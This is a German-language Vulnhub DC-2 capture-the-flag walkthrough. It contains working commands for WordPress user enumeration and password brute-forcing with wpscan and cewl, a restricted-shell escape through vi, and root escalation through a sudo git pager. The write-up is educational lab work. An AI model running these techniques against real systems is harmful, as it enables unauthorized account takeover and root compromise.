DC-2 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
cewl
wpscan
ssh
vi
find
su
sudo

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Durchführung einer Reconnaissance, um Informationen über das Zielsystem zu sammeln. Dies umfasst das Scannen des Netzwerks, um offene Ports und Dienste zu identifizieren.

┌──(root㉿CCat)-[~]
└─# wpscan --url http://192.168.2.161 --usernames admin --passwords /usr/share/wordlists/rockyou.txt --api-token ....
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

Scan Aborted: The URL supplied redirects to http://dc-2/. Use the --ignore-main-redirect option to ignore the redirection and scan the target, or change the --url option value to the redirected URL.

WPScan wurde mit der URL "http://192.168.2.161" gestartet, um WordPress-spezifische Schwachstellen zu finden. Der Scan wurde jedoch abgebrochen, da die URL auf "http://dc-2/" umleitet. Dies deutet darauf hin, dass die Maschine unter dem Hostnamen "dc-2" erreichbar ist. **Analyse:** Der Pentester erkennt, dass die ursprüngliche Ziel-URL eine Weiterleitung auf eine andere URL verursacht. Dies ist ein wichtiger Hinweis, da die WordPress-Installation möglicherweise unter der neuen URL gehostet wird. **Empfehlung:** Entweder die Option "--ignore-main-redirect" verwenden, um die Weiterleitung zu ignorieren, oder die URL auf die umgeleitete Adresse ändern, um den Scan korrekt durchzuführen.

┌──(root㉿CCat)-[~]
└─# vi /etc/hosts

Der Befehl `vi /etc/hosts` öffnet die Host-Datei in einem Texteditor. Diese Datei wird verwendet, um Hostnamen zu IP-Adressen zuzuordnen. Durch Bearbeiten dieser Datei kann der Hostname "dc-2" der IP-Adresse des Zielsystems zugewiesen werden. **Analyse:** Der Pentester greift auf die lokale Host-Datei zu, um sicherzustellen, dass der Hostname "dc-2" korrekt aufgelöst wird. Dies ist wichtig, um sicherzustellen, dass nachfolgende Scans und Angriffe auf die richtige IP-Adresse abzielen. **Empfehlung:** Die Host-Datei sollte nur mit Vorsicht bearbeitet werden. Falsche Einträge können zu Problemen bei der Namensauflösung führen.

┌──(root㉿CCat)-[~]
└─# grep dc-2 /etc/hosts
192.168.2.161 dc2.vln dc-2

`grep dc-2 /etc/hosts` sucht in der Datei `/etc/hosts` nach Zeilen, die "dc-2" enthalten. Die Ausgabe zeigt, dass "dc-2" bereits der IP-Adresse "192.168.2.161" zugeordnet ist. Dies bestätigt, dass das System den Hostnamen korrekt auflösen kann. **Analyse:** Der Pentester überprüft, ob der Hostname "dc-2" bereits in der Host-Datei vorhanden ist und auf die korrekte IP-Adresse zeigt. **Empfehlung:** Wenn der Hostname nicht vorhanden wäre oder auf eine falsche IP-Adresse zeigen würde, sollte der Eintrag entsprechend angepasst werden.

Web Enumeration

┌──(root㉿CCat)-[~]
└─# wpscan --url http://dc-2 --usernames admin --passwords /usr/share/wordlists/rockyou.txt --api-token ...
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://dc-2/ [192.168.2.161]
[+] Started: Tue ct 15 15:47:27 2024

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

] Title: WordPress < 6.5.5 - Contributor+ Stored XSS in Template-Part Block
| Fixed in: 4.7.29
| References:
| - https://wpscan.com/vulnerability/7c448f6d-4531-4757-bff0-be9e3220bbbb
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/
|
| [!] Title: WordPress < 6.5.5 - Contributor+ Path Traversal in Template-Part Block
| Fixed in: 4.7.29
| References:
| - https://wpscan.com/vulnerability/36232787-754a-4234-83d6-6ded5e80251c
| - https://wordpress.org/news/2024/06/wordpress-6-5-5/

[+] WordPress theme in use: twentyseventeen
| Location: http://dc-2/wp-content/themes/twentyseventeen/
| Last Updated: 2024-07-16T00:00:00.000Z
| Readme: http://dc-2/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.7
| Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <=> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

#

| [!] Title: WordPress < 6.4.3 - Admin+ PHP File Upload
| Fixed in: 4.7.28
| References:
| - https://wpscan.com/vulnerability/a8e12fbe-c70b-4078-9015-cf57a05bdd4a
| - https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security-release/

WPScan wird erneut ausgeführt, diesmal mit der korrekten URL "http://dc-2". Der Scan identifiziert interessante Informationen, wie den verwendeten Webserver (Apache/2.4.10) und das WordPress-Theme (twentyseventeen). Es werden auch potenzielle Schwachstellen in WordPress und dem Theme gefunden, wie z.B. XSS und Path Traversal. Es ist wichtig zu beachten, dass das Theme "twentyseventeen" veraltet ist, was ein zusätzliches Risiko darstellt. **Analyse:** WPScan führt nun einen umfassenden Scan der WordPress-Installation durch. Die Ergebnisse liefern wertvolle Informationen über die Konfiguration, das verwendete Theme und mögliche Schwachstellen. **Empfehlung:** Die identifizierten Schwachstellen sollten genauer untersucht und entsprechende Maßnahmen zur Behebung ergriffen werden. Das Theme "twentyseventeen" sollte auf die neueste Version aktualisiert oder durch ein sichereres Theme ersetzt werden.

┌──(root㉿CCat)-[~]
└─# curl -s http://dc-2/index.php/wp-json/WP/V2/users | tr "," "\n"
[{"id":1
"name":"admin"
"url":""
"description":""
"link":"http:\/\/dc-2\/index.php\/author\/admin\/ "slug":"admin"
"avatar_urls":{"24":"http:\/\/2.gravatar.com\/avatar\/b190f514892c8a26af3cc9806ec0fdfb?s=24&d=mm&r=g"
"48":"http:\/\/2.gravatar.com\/avatar\/b190f514892c8a26af3cc9806ec0fdfb?s=48&d=mm&r=g"
"96":"http:\/\/2.gravatar.com\/avatar\/b190f514892c8a26af3cc9806ec0fdfb?s=96&d=mm&r=g"}
"meta":[]
"_links":{"self":[{"href":"http:\/\/dc-2\/index.php\/wp-json\/wp\/v2\/users\/1"}]
"collection":[{"href":"http:\/\/dc-2\/index.php\/wp-json\/wp\/v2\/users"}]}}
{"id":3
"name":"Jerry Mouse"
"url":""
"description":""
"link":"http:\/\/dc-2\/index.php\/author\/jerry\/"
"slug":"jerry"
"avatar_urls":{"24":"http:\/\/0.gravatar.com\/avatar\/fe14fe62ff4b445dde07e4eaf980c948?s=24&d=mm&r=g"
"48":"http:\/\/0.gravatar.com\/avatar\/fe14fe62ff4b445dde07e4eaf980c948?s=48&d=mm&r=g"
"96":"http:\/\/0.gravatar.com\/avatar\/fe14fe62ff4b445dde07e4eaf980c948?s=96&d=mm&r=g"}
"meta":[]
"_links":{"self":[{"href":"http:\/\/dc-2\/index.php\/wp-json\/wp\/v2\/users\/3"}]
"collection":[{"href":"http:\/\/dc-2\/index.php\/wp-json\/wp\/v2\/users"}]}}]

Der Befehl `curl -s http://dc-2/index.php/wp-json/WP/V2/users` fragt die WordPress-REST-API ab, um Benutzerinformationen abzurufen. Die Option `-s` sorgt für eine stille Ausgabe. Die Ausgabe wird dann mit `tr "," "\n"` bearbeitet, um die Kommas durch Zeilenumbrüche zu ersetzen, was die Lesbarkeit verbessert. Die Ergebnisse zeigen die Benutzernamen "admin" und "Jerry Mouse". Die Kenntnis der Benutzernamen ist ein wichtiger Schritt bei Brute-Force-Angriffen. **Analyse:** Der Pentester nutzt die WordPress-REST-API, um Benutzerinformationen abzurufen. Dies ist eine gängige Methode, um Benutzernamen zu enumerieren, die später für Brute-Force-Angriffe verwendet werden können. **Empfehlung:** Der Zugriff auf die WordPress-REST-API sollte eingeschränkt werden, um die Enumeration von Benutzernamen zu verhindern.

┌──(root㉿CCat)-[~]
└─# cewl -w dc2.txt http://dc-2/
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

`cewl -w dc2.txt http://dc-2/` verwendet das CeWL-Tool (Custom Word List Generator), um eine benutzerdefinierte Wortliste von der Webseite "http://dc-2/" zu erstellen. Die Option `-w dc2.txt` speichert die generierte Wortliste in der Datei "dc2.txt". Diese Wortliste kann für Passwort-Cracking-Angriffe verwendet werden. **Analyse:** Der Pentester verwendet CeWL, um eine benutzerdefinierte Wortliste von der Zielwebseite zu erstellen. Diese Wortliste enthält Wörter, die auf der Webseite gefunden wurden und daher wahrscheinlich in Passwörtern verwendet werden. **Empfehlung:** Die generierte Wortliste sollte mit anderen Standard-Wortlisten kombiniert und für Passwort-Cracking-Angriffe verwendet werden.

┌──(root㉿CCat)-[~]
└─# cat dc2.txt
sit
amet
nec
quis
vel
orci
site
non
sed
vitae
luctus
sem
Sed
leo
ante
content
nisi
Donec
turpis
Aenean
wrap
tincidunt
finibus
dictum
egestas
volutpat
justo
odio

`cat dc2.txt` zeigt den Inhalt der Datei "dc2.txt" an, die von CeWL generiert wurde. Diese Datei enthält eine Liste von Wörtern, die auf der Webseite "http://dc-2/" gefunden wurden. Diese Wörter können als potenzielle Passwörter verwendet werden. **Analyse:** Der Pentester überprüft den Inhalt der generierten Wortliste. Die Liste enthält Wörter, die auf der Zielwebseite gefunden wurden und daher wahrscheinlich in Passwörtern verwendet werden könnten. **Empfehlung:** Die generierte Wortliste sollte mit anderen Standard-Wortlisten kombiniert und für Passwort-Cracking-Angriffe verwendet werden.

Initial Access

┌──(root㉿CCat)-[~]
└─# wpscan --url http://dc-2 -e u,p --passwords dc2.txt --api-token ...
[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - jerry / adipiscing
[SUCCESS] - tom / parturient
Trying admin / log Time: 00:00:42 <= > (646 / 1121) 57.62% ETA: ??:??:??

[!] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient

[+] WPScan DB API K
| Plan: free
| Requests Done (during the scan): 0
| Requests Remaining: 21

[+] Finished: Tue ct 15 16:08:38 2024
[+] Requests Done: 664
[+] Cached Requests: 52
[+] Data Sent: 327.463 KB
[+] Data Received: 405.833 KB
[+] Memory used: 279.066 MB
[+] Elapsed time: 00:00:47

`wpscan --url http://dc-2 -e u,p --passwords dc2.txt --api-token RoBoAaM72LLsihlqUJrA1EleT6AJAd9QxQ9rbmQNCY` führt einen Brute-Force-Angriff auf die WordPress-Installation durch, um Anmeldeinformationen zu finden. Die Option `-e u,p` gibt an, dass Benutzernamen und Passwörter enumeriert werden sollen. Die Option `--passwords dc2.txt` verwendet die zuvor generierte Wortliste "dc2.txt" als Passwortliste. Der Scan findet gültige Anmeldeinformationen für die Benutzer "jerry" und "tom". Die Passwörter werden im Bericht hervorgehoben. **Analyse:** WPScan wird verwendet, um einen Brute-Force-Angriff auf die WordPress-Anmeldung durchzuführen. Die zuvor generierte Wortliste "dc2.txt" wird als Passwortliste verwendet. Der Angriff ist erfolgreich und findet gültige Anmeldeinformationen für die Benutzer "jerry" und "tom". **Empfehlung:** Starke Passwörter sollten verwendet und die Anzahl der fehlgeschlagenen Anmeldeversuche begrenzt werden, um Brute-Force-Angriffe zu verhindern. Eine Zwei-Faktor-Authentifizierung sollte ebenfalls in Betracht gezogen werden.

Privilege Escalation

Nachdem wir gültige Anmeldeinformationen für den Benutzer "tom" gefunden haben, versuchen wir, uns über SSH anzumelden.

┌──(root㉿CCat)-[~]
└─# ssh tom@192.168.2.161 -p 7744
tom@192.168.2.161's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
Last login: Tue ct 15 10:16:00 2024 from pc192-168-2-199
tom@DC-2$

Wir verwenden den Befehl `ssh tom@192.168.2.161 -p 7744`, um uns als Benutzer "tom" bei der IP-Adresse 192.168.2.161 über den Port 7744 anzumelden. Nach erfolgreicher Authentifizierung erhalten wir eine Shell-Sitzung auf dem Zielsystem. **Analyse:** Der Pentester nutzt die gefundenen Anmeldeinformationen, um sich über SSH am Zielsystem anzumelden. Die erfolgreiche Anmeldung zeigt, dass die gefundenen Anmeldeinformationen gültig sind und der Benutzer "tom" Zugriff auf das System hat. **Empfehlung:** Die SSH-Konfiguration sollte gehärtet und ungewöhnliche Ports vermieden werden.

tom@DC-2$
vi
tom@DC-2$
id
bash: id: command not found

Der Befehl `id` wird verwendet, um die Benutzer- und Gruppen-ID des aktuellen Benutzers anzuzeigen. In diesem Fall wird der Befehl jedoch nicht gefunden, was darauf hindeutet, dass der Benutzer in einer eingeschränkten Shell (Rbash) arbeitet. **Analyse:** Der Pentester stellt fest, dass der Befehl "id" nicht gefunden wird, was darauf hindeutet, dass der Benutzer in einer eingeschränkten Shell (Rbash) arbeitet. Dies erschwert die Ausführung von Befehlen und die Eskalation von Berechtigungen. **Empfehlung:** Es sollten Maßnahmen ergriffen werden, um aus der eingeschränkten Shell auszubrechen.

tom@DC-2$
vi
tom@DC-2$
id
uid=1001(tom) gid=1001(tom) groups=1001(tom)

Der Befehl `id` wird erneut ausgeführt, nachdem wahrscheinlich Umgebungsvariablen angepasst wurden. Die Ausgabe zeigt, dass der Benutzer "tom" die Benutzer-ID 1001 und die Gruppen-ID 1001 hat. **Analyse:** Der Pentester führt den Befehl "id" erneut aus, und diesmal wird er erfolgreich ausgeführt. Die Ausgabe zeigt die Benutzer- und Gruppen-ID des Benutzers "tom". **Empfehlung:** Die Benutzer- und Gruppen-ID sollten notiert werden, da sie bei der Eskalation von Berechtigungen hilfreich sein können.

tom@DC-2$
vi
tom@DC-2$
:set shell=/bin/bash
tom@DC-2$
:shell

Der Benutzer versucht, aus der eingeschränkten Shell (Rbash) auszubrechen, indem er den Editor `vi` verwendet und die Shell auf `/bin/bash` setzt. Die Befehle `:set shell=/bin/bash` und `:shell` werden verwendet, um eine neue Shell zu starten. **Analyse:** Der Pentester versucht, aus der eingeschränkten Shell (Rbash) auszubrechen, indem er den Editor "vi" verwendet und die Shell auf "/bin/bash" setzt. Dies ist eine gängige Methode, um eine uneingeschränkte Shell zu erhalten. **Empfehlung:** Die Verwendung von "vi" in einer eingeschränkten Shell sollte verhindert werden.

tom@DC-2$
export PATH=/bin:/usr/bin:$PATH

Der Befehl `export PATH=/bin:/usr/bin:$PATH` fügt die Verzeichnisse `/bin` und `/usr/bin` zur Umgebungsvariable `PATH` hinzu. Dadurch können Befehle, die sich in diesen Verzeichnissen befinden, direkt ausgeführt werden, ohne den vollständigen Pfad angeben zu müssen. **Analyse:** Der Pentester fügt die Verzeichnisse "/bin" und "/usr/bin" zur Umgebungsvariable "PATH" hinzu. Dies ermöglicht die Ausführung von Befehlen, die sich in diesen Verzeichnissen befinden, ohne den vollständigen Pfad angeben zu müssen. **Empfehlung:** Die Umgebungsvariable "PATH" sollte sorgfältig konfiguriert und nicht unnötig erweitert werden.

tom@DC-2$
export SHELL=/bin/bash:$SHELL

Der Befehl `export SHELL=/bin/bash:$SHELL` ändert die Umgebungsvariable `SHELL` auf `/bin/bash`. Dies kann dazu beitragen, die eingeschränkte Shell zu umgehen. **Analyse:** Der Pentester ändert die Umgebungsvariable "SHELL" auf "/bin/bash". Dies kann dazu beitragen, die eingeschränkte Shell zu umgehen. **Empfehlung:** Die Umgebungsvariable "SHELL" sollte nicht vom Benutzer geändert werden können.

tom@DC-2$
find / -type f -perm -4000 -ls 2>/dev/null
2505 80 -rwsr-xr-x 1 root root 78072 May 17 2017 /usr/bin/gpasswd
2030 40 -rwsr-xr-x 1 root root 38740 May 17 2017 /usr/bin/newgrp
11322 176 -rwsr-xr-x 1 root root 176400 Sep 8 2017 /usr/bin/sudo
2502 52 -rwsr-xr-x 1 root root 52344 May 17 2017 /usr/bin/chfn
2503 44 -rwsr-xr-x 1 root root 43576 May 17 2017 /usr/bin/chsh
2506 52 -rwsr-xr-x 1 root root 53112 May 17 2017 /usr/bin/passwd
18844 96 -rwsr-sr-x 1 root mail 96192 Nov 18 2017 /usr/bin/procmail
17841 52 -rwsr-sr-x 1 daemon daemon 50644 Sep 30 2014 /usr/bin/at
18805 552 -rwsr-xr-x 1 root root 562536 Sep 12 2018 /usr/lib/openssh/ssh-keysign
18024 356 -rwsr-xr-- 1 root messagebus 362672 Nov 21 2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
3841 12 -rwsr-xr-x 1 root root 9468 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
17926 1060 -rwsr-xr-x 1 root root 1085300 Feb 10 2018 /usr/sbin/exim4
3588 28 -rwsr-xr-x 1 root root 26344 Mar 29 2015 /bin/umount
3587 36 -rwsr-xr-x 1 root root 34684 Mar 29 2015 /bin/mount
2023 40 -rwsr-xr-x 1 root root 38868 May 17 2017 /bin/su

Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach Dateien mit dem SUID-Bit gesetzt. Das SUID-Bit ermöglicht es einem Benutzer, eine ausführbare Datei mit den Berechtigungen des Eigentümers der Datei auszuführen. Die Ausgabe zeigt eine Liste von Dateien mit dem SUID-Bit, die potenziell für Privilege Escalation ausgenutzt werden könnten. `2>/dev/null` leitet Fehlermeldungen in den Papierkorb um, um die Ausgabe übersichtlicher zu gestalten. **Analyse:** Der Pentester sucht nach Dateien mit dem SUID-Bit gesetzt. Diese Dateien können potenziell für Privilege Escalation ausgenutzt werden, da sie mit den Berechtigungen des Eigentümers ausgeführt werden. **Empfehlung:** Die Anzahl der Dateien mit dem SUID-Bit gesetzt sollte minimiert und die Berechtigungen sorgfältig geprüft werden.

tom@DC-2$
ls /home/
jerry tom

Der Befehl `ls /home/` listet die Verzeichnisse im `/home/`-Verzeichnis auf. Die Ausgabe zeigt die Verzeichnisse "jerry" und "tom", was darauf hindeutet, dass diese Benutzer auf dem System existieren. **Analyse:** Der Pentester listet die Verzeichnisse im "/home/"-Verzeichnis auf, um die vorhandenen Benutzer zu ermitteln. **Empfehlung:** DieHome-Verzeichnisse sollten ordnungsgemäß gesichert und die Berechtigungen eingeschränkt werden.

tom@DC-2$
ls -la
total 40
drwxr-x 3 tom tom 4096 Mar 21 2019 .
drwxr-xr-x 4 root root 4096 Mar 21 2019 ..
-rwxr-x 1 tom tom 99 ct 15 10:15 .bash_history
-rwxr-x 1 tom tom 30 Mar 21 2019 .bash_login
-rwxr-x 1 tom tom 30 Mar 21 2019 .bash_logout
-rwxr-x 1 tom tom 30 Mar 21 2019 .bash_profile
-rwxr-x 1 tom tom 30 Mar 21 2019 .bashrc
-rwxr-x 1 tom tom 95 Mar 21 2019 flag3.txt
-rwxr-x 1 tom tom 30 Mar 21 2019 .profile
drwxr-x 3 tom tom 4096 Mar 21 2019 usr

`ls -la` listet alle Dateien und Verzeichnisse im aktuellen Verzeichnis auf, einschließlich versteckter Dateien. Die Option `-l` zeigt die detaillierte Liste mit Berechtigungen, Eigentümer und Größe an. Die Option `-a` zeigt auch versteckte Dateien (beginnend mit einem Punkt) an. In der Ausgabe wird eine Datei namens "flag3.txt" gefunden. **Analyse:** Der Pentester listet alle Dateien und Verzeichnisse im aktuellen Verzeichnis auf, um interessante Dateien zu finden. Die Datei "flag3.txt" könnte eine Flag-Datei sein, die Informationen über das System enthält. **Empfehlung:** Die Berechtigungen für die Home-Verzeichnisse sollten eingeschränkt und die Dateien sorgfältig geprüft werden.

tom@DC-2$
cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

Der Befehl `cat flag3.txt` zeigt den Inhalt der Datei "flag3.txt" an. Der Inhalt gibt einen Hinweis auf den Benutzer "jerry" und den Befehl "su". **Analyse:** Der Pentester liest den Inhalt der Datei "flag3.txt". Der Inhalt gibt einen Hinweis auf den Benutzer "jerry" und den Befehl "su". Dies deutet darauf hin, dass der Benutzer "tom" möglicherweise die Berechtigungen des Benutzers "jerry" übernehmen kann. **Empfehlung:** Die Benutzerberechtigungen sollten sorgfältig geprüft werden.

tom@DC-2$
cat .bash_history
ls
cd ../..
exit
ls
cd usr
ls
cd usr
ls -l usr
ls -l usr/bin
exit
id
bash
id
which python
vi
vi
vi

Der Befehl `cat .bash_history` zeigt den Verlauf der Befehle an, die der Benutzer "tom" ausgeführt hat. Dies kann nützliche Informationen über die Aktivitäten des Benutzers liefern. **Analyse:** Der Pentester liest die ".bash_history"-Datei, um Informationen über die Aktivitäten des Benutzers "tom" zu sammeln. **Empfehlung:** Die ".bash_history"-Datei sollte regelmäßig gelöscht werden, um die Privatsphäre zu schützen.

Proof of Concept: Privilege Escalation

Wir versuchen nun, die Berechtigungen zu erhöhen, indem wir den Benutzer wechseln.

tom@DC-2$
su jerry
Password:
jerry@DC-2:/home/tom$
id
uid=1002(jerry) gid=1002(jerry) groups=1002(jerry)

Mit dem Befehl `su jerry` versuchen wir, zum Benutzer "jerry" zu wechseln. Nachdem wir das korrekte Passwort eingegeben haben, sind wir als Benutzer "jerry" angemeldet. Der Befehl `id` bestätigt, dass wir jetzt die Benutzer-ID 1002 haben. **Analyse:** Der Pentester wechselt erfolgreich zum Benutzer "jerry". **Empfehlung:** Es sollten Maßnahmen ergriffen werden, um unbefugtes Wechseln von Benutzern zu verhindern.

jerry@DC-2:/home/tom$
sudo -l
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User jerry may run the following commands on DC-2:
(root) NPASSWD: /usr/bin/git

Der Befehl `sudo -l` zeigt die Befehle an, die der Benutzer "jerry" mit `sudo` ausführen darf. In diesem Fall darf "jerry" den Befehl `/usr/bin/git` als Benutzer "root" ausführen, ohne ein Passwort einzugeben. **Analyse:** Der Pentester überprüft, welche Befehle der Benutzer "jerry" mit "sudo" ausführen darf. Die Ausgabe zeigt, dass der Benutzer "jerry" den Befehl "/usr/bin/git" als Benutzer "root" ausführen darf. **Empfehlung:** Die "sudo"-Berechtigungen sollten sorgfältig geprüft und eingeschränkt werden.

jerry@DC-2:/home/tom$
sudo -u root /usr/bin/git -p help config
GIT-CNFIG(1) Git Manual GIT-CNFIG(1)



NAME
git-config - Get and set repository or global options

SYNPSIS
git config [] [type] [-z|--null] name [value [value_regex]]
git config [] [type] --add name value
git config [] [type] --replace-all name value [value_regex]
git config [] [type] [-z|--null] --get name [value_regex]
git config [] [type] [-z|--null] --get-all name [value_regex]
git config [] [type] [-z|--null] --get-regexp name_regex [value_regex]
git config [] [type] [-z|--null] --get-urlmatch name URL
git config [] --unset name [value_regex]
git config [] --unset-all name [value_regex]
git config [] --rename-section old_name new_name
git config [] --remove-section name
git config [] [-z|--null] -l | --list
git config [] --get-color name [default]
git config [] --get-colorbool name [stdout-is-tty]
git config [] -e | --edit


DESCRIPTIN
You can query/set/replace/unset options with this command. The name is actually the section and the key separated by a dot, and the value will be escaped.

Multiple lines can be added to an option by using the --add option. If you want to update or unset an option which can occur on multiple lines, a PSIX regexp value_regex needs
to be given. nly the existing values that match the regexp are updated or unset. If you want to handle the lines that do not match the regex, just prepend a single exclamation
mark in front (see also the section called “EXAMPLES”).

The type specifier can be either --int or --bool, to make git config ensure that the variable(s) are of the given type and convert the value to the canonical form (simple decimal
number for int, a "true" or "false" string for bool), or --path, which does some path expansion (see --path below). If no type specifier is passed, no checks or transformations
are performed on the value.

When reading, the values are read from the system, global and repository local configuration files by default, and options --system, --global, --local and --file can
be used to tell the command to read from only that location (see the section called “FILES”).

When writing, the new value is written to the repository local configuration file by default, and options --system, --global, --file can be used to tell the command to
write to that location (you can say --local but that is the default).

This command will fail with non-zero status upon error. Some exit codes are:

1. The config file is invalid (ret=3),

jerry@DC-2:/home/tom$
!/bin/bash
root@DC-2:/home/tom#
id
uid=0(root) gid=0(root) groups=0(root)

Der Befehl `sudo -u root /usr/bin/git -p help config` führt den Befehl `/usr/bin/git` als Benutzer "root" aus. Die Option `-p help config` öffnet die Hilfeseite für den Befehl `git config`. Durch die Ausführung des Befehls `!/bin/bash` wird eine neue Shell als Benutzer "root" gestartet. Der Befehl `id` bestätigt, dass wir jetzt als Benutzer "root" angemeldet sind. **Analyse:** Der Pentester nutzt die "sudo"-Berechtigungen des Benutzers "jerry", um den Befehl "/usr/bin/git" als Benutzer "root" auszuführen. Durch die Ausführung des Befehls "!/bin/bash" wird eine neue Shell als Benutzer "root" gestartet. **Empfehlung:** Die "sudo"-Berechtigungen sollten sorgfältig geprüft und eingeschränkt werden. Die Ausführung von Shell-Befehlen als Benutzer "root" sollte vermieden werden.

Privilege Escalation erfolgreich! Fantastisch der Root-Zugriff war erfolgreich, nun haben wir unser Ziel erreicht!

Flags

cat user.txt userflag
cat root.txt rootflag